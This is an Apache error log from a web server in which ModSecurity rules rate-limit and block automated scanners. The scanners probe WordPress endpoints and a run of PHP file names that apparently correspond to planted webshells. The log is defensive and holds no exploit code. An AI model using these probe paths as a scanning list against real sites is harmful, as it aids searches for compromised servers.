[Wed Jan 07 23:52:50.531502 2026] [:error] [pid 50936:tid 50957] [client 35.196.131.70:52835] [client 35.196.131.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.196.131.70, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aV6BUrDlg80QUdd5qc4lzAAAApM"]
[Wed Jan 07 23:52:50.543196 2026] [proxy_fcgi:error] [pid 50936:tid 50957] [client 35.196.131.70:52835] AH01071: Got error 'Primary script unknown'
[Wed Jan 07 23:52:54.000262 2026] [:error] [pid 50936:tid 50947] [client 35.196.131.70:52835] [client 35.196.131.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aV6BVbDlg80QUdd5qc4l1wAAAok"]
[Wed Jan 07 23:52:54.421303 2026] [:error] [pid 58294:tid 58304] [client 35.196.131.70:58616] [client 35.196.131.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aV6BVlfzA7c0ITpf3nFGXQAAAIg"]
[Wed Jan 07 23:52:54.848888 2026] [:error] [pid 30633:tid 30673] [client 35.196.131.70:64649] [client 35.196.131.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aV6BVvZiVWlF7303nMjJ7wAAAEo"]
[Wed Jan 07 23:52:55.267916 2026] [:error] [pid 58294:tid 58318] [client 35.196.131.70:63729] [client 35.196.131.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aV6BV1fzA7c0ITpf3nFGYAAAAJY"]
[Wed Jan 07 23:52:55.692685 2026] [:error] [pid 58294:tid 58296] [client 35.196.131.70:52974] [client 35.196.131.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aV6BV1fzA7c0ITpf3nFGYgAAAIA"]
[Wed Jan 07 23:52:56.114352 2026] [:error] [pid 30633:tid 30686] [client 35.196.131.70:62450] [client 35.196.131.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aV6BWPZiVWlF7303nMjJ8gAAAFc"]
[Wed Jan 07 23:52:56.530768 2026] [:error] [pid 50838:tid 50844] [client 35.196.131.70:54653] [client 35.196.131.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aV6BWLSweZ27JIN4H8vg2gAAAcQ"]
[Thu Jan 08 01:45:26.318223 2026] [autoindex:error] [pid 58330:tid 58333] [client 138.197.32.240:64822] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Jan 08 04:37:24.934708 2026] [proxy_fcgi:error] [pid 15263:tid 15290] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.085877 2026] [proxy_fcgi:error] [pid 15263:tid 15285] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.273095 2026] [proxy_fcgi:error] [pid 15263:tid 15273] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.364098 2026] [proxy_fcgi:error] [pid 15263:tid 15277] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.459508 2026] [proxy_fcgi:error] [pid 15263:tid 15295] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.552040 2026] [proxy_fcgi:error] [pid 15263:tid 15274] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.654408 2026] [proxy_fcgi:error] [pid 15263:tid 15272] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.838008 2026] [proxy_fcgi:error] [pid 15263:tid 15275] [client 4.194.192.180:26438] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:37:25.924905 2026] [:error] [pid 15263:tid 15283] [client 4.194.192.180:26438] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aV7EBdv61bxum7WG_e9A9QAAAAs"]
[Thu Jan 08 04:37:26.353203 2026] [:error] [pid 15263:tid 15280] [client 4.194.192.180:26483] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aV7EBtv61bxum7WG_e9A-AAAAAg"]
[Thu Jan 08 04:37:26.679483 2026] [:error] [pid 15263:tid 15284] [client 4.194.192.180:26478] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aV7EBtv61bxum7WG_e9A-QAAAAw"]
[Thu Jan 08 04:37:27.021499 2026] [:error] [pid 15263:tid 15289] [client 4.194.192.180:26373] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aV7EB9v61bxum7WG_e9A-wAAABE"]
[Thu Jan 08 04:37:27.355953 2026] [:error] [pid 15358:tid 15373] [client 4.194.192.180:26383] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aV7EByoRk9xWJ3toSBKlWQAAAMM"]
[Thu Jan 08 04:37:27.584672 2026] [:error] [pid 15265:tid 15342] [client 4.194.192.180:26459] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aV7EB6E6VBKhew2LTFSCvwAAAJA"]
[Thu Jan 08 04:37:28.202068 2026] [:error] [pid 15265:tid 15339] [client 4.194.192.180:26454] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aV7ECKE6VBKhew2LTFSCwQAAAI0"]
[Thu Jan 08 04:37:28.979754 2026] [:error] [pid 15265:tid 15338] [client 4.194.192.180:26472] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aV7ECKE6VBKhew2LTFSCwwAAAIw"]
[Thu Jan 08 04:37:29.257194 2026] [:error] [pid 15358:tid 15389] [client 4.194.192.180:26396] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aV7ECSoRk9xWJ3toSBKlXAAAANM"]
[Thu Jan 08 04:37:29.833419 2026] [:error] [pid 15358:tid 15390] [client 4.194.192.180:26435] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aV7ECSoRk9xWJ3toSBKlXQAAANQ"]
[Thu Jan 08 04:37:30.214033 2026] [:error] [pid 15265:tid 15333] [client 4.194.192.180:26495] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aV7ECqE6VBKhew2LTFSCxQAAAIc"]
[Thu Jan 08 04:37:30.676491 2026] [:error] [pid 15358:tid 15383] [client 4.194.192.180:26481] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aV7ECioRk9xWJ3toSBKlXwAAAM0"]
[Thu Jan 08 04:37:31.314979 2026] [:error] [pid 15358:tid 15394] [client 4.194.192.180:26446] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aV7ECyoRk9xWJ3toSBKlYAAAANg"]
[Thu Jan 08 04:37:31.869009 2026] [:error] [pid 15265:tid 15349] [client 4.194.192.180:26476] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aV7EC6E6VBKhew2LTFSCyQAAAJc"]
[Thu Jan 08 04:37:32.664950 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:26378] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aV7EDCoRk9xWJ3toSBKlYgAAAMw"]
[Thu Jan 08 04:37:32.985078 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:26389] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aV7EDCoRk9xWJ3toSBKlYwAAAMo"]
[Thu Jan 08 04:37:33.255521 2026] [:error] [pid 15358:tid 15391] [client 4.194.192.180:26395] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aV7EDSoRk9xWJ3toSBKlZQAAANU"]
[Thu Jan 08 04:37:33.598123 2026] [:error] [pid 15265:tid 15326] [client 4.194.192.180:26384] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aV7EDaE6VBKhew2LTFSCzAAAAIA"]
[Thu Jan 08 04:37:33.842184 2026] [:error] [pid 15265:tid 15344] [client 4.194.192.180:26448] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aV7EDaE6VBKhew2LTFSCzQAAAJI"]
[Thu Jan 08 04:37:34.219867 2026] [:error] [pid 15265:tid 15345] [client 4.194.192.180:26444] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aV7EDqE6VBKhew2LTFSCzgAAAJM"]
[Thu Jan 08 04:37:34.511601 2026] [:error] [pid 15265:tid 15342] [client 4.194.192.180:26465] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aV7EDqE6VBKhew2LTFSCzwAAAJA"]
[Thu Jan 08 04:37:34.955314 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:26471] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aV7EDoov6_kvS0Owh-pjiwAAAEo"]
[Thu Jan 08 04:37:35.356167 2026] [:error] [pid 15264:tid 15313] [client 4.194.192.180:26387] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aV7ED4ov6_kvS0Owh-pjjAAAAE4"]
[Thu Jan 08 04:37:35.608122 2026] [:error] [pid 15263:tid 15283] [client 4.194.192.180:26482] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aV7ED9v61bxum7WG_e9BAgAAAAs"]
[Thu Jan 08 04:37:35.941505 2026] [:error] [pid 15264:tid 15304] [client 4.194.192.180:26474] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aV7ED4ov6_kvS0Owh-pjjgAAAEU"]
[Thu Jan 08 04:37:36.268153 2026] [:error] [pid 15265:tid 15330] [client 4.194.192.180:26492] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aV7EEKE6VBKhew2LTFSC0wAAAIQ"]
[Thu Jan 08 04:37:36.799341 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:26467] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aV7EEIov6_kvS0Owh-pjkAAAAEc"]
[Thu Jan 08 04:37:37.150020 2026] [:error] [pid 15265:tid 15332] [client 4.194.192.180:26464] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aV7EEaE6VBKhew2LTFSC1QAAAIY"]
[Thu Jan 08 04:37:37.500986 2026] [:error] [pid 15263:tid 15279] [client 4.194.192.180:7112] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aV7EEdv61bxum7WG_e9BBAAAAAc"]
[Thu Jan 08 04:37:37.884015 2026] [:error] [pid 15265:tid 15346] [client 4.194.192.180:26394] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aV7EEaE6VBKhew2LTFSC2AAAAJQ"]
[Thu Jan 08 04:37:38.151393 2026] [:error] [pid 15265:tid 15328] [client 4.194.192.180:26458] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aV7EEqE6VBKhew2LTFSC2QAAAII"]
[Thu Jan 08 04:37:38.411781 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:26470] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aV7EEioRk9xWJ3toSBKlaAAAAMA"]
[Thu Jan 08 04:37:38.637766 2026] [:error] [pid 15358:tid 15375] [client 4.194.192.180:26382] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aV7EEioRk9xWJ3toSBKlaQAAAMU"]
[Thu Jan 08 04:37:38.947171 2026] [:error] [pid 15358:tid 15385] [client 4.194.192.180:26466] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aV7EEioRk9xWJ3toSBKlawAAAM8"]
[Thu Jan 08 04:37:39.589213 2026] [:error] [pid 15358:tid 15379] [client 4.194.192.180:26488] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aV7EEyoRk9xWJ3toSBKlbgAAAMk"]
[Thu Jan 08 04:37:40.389674 2026] [:error] [pid 15263:tid 15296] [client 4.194.192.180:7110] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aV7EFNv61bxum7WG_e9BDwAAABg"]
[Thu Jan 08 04:37:40.858634 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:26397] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aV7EFIov6_kvS0Owh-pjlAAAAFA"]
[Thu Jan 08 04:37:41.423107 2026] [:error] [pid 15263:tid 15280] [client 4.194.192.180:26494] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aV7EFdv61bxum7WG_e9BFwAAAAg"]
[Thu Jan 08 04:37:42.324636 2026] [:error] [pid 15263:tid 15284] [client 4.194.192.180:26450] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aV7EFtv61bxum7WG_e9BGQAAAAw"]
[Thu Jan 08 04:37:42.772289 2026] [:error] [pid 15263:tid 15276] [client 4.194.192.180:26457] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aV7EFtv61bxum7WG_e9BGwAAAAQ"]
[Thu Jan 08 04:37:43.186039 2026] [:error] [pid 15264:tid 15322] [client 4.194.192.180:26370] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aV7EF4ov6_kvS0Owh-pjlQAAAFc"]
[Thu Jan 08 04:37:43.516708 2026] [:error] [pid 15265:tid 15337] [client 4.194.192.180:26392] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aV7EF6E6VBKhew2LTFSC3AAAAIs"]
[Thu Jan 08 04:37:43.826054 2026] [:error] [pid 15265:tid 15341] [client 4.194.192.180:26489] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aV7EF6E6VBKhew2LTFSC3QAAAI8"]
[Thu Jan 08 04:37:44.082686 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:26449] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aV7EGCoRk9xWJ3toSBKlcwAAAMQ"]
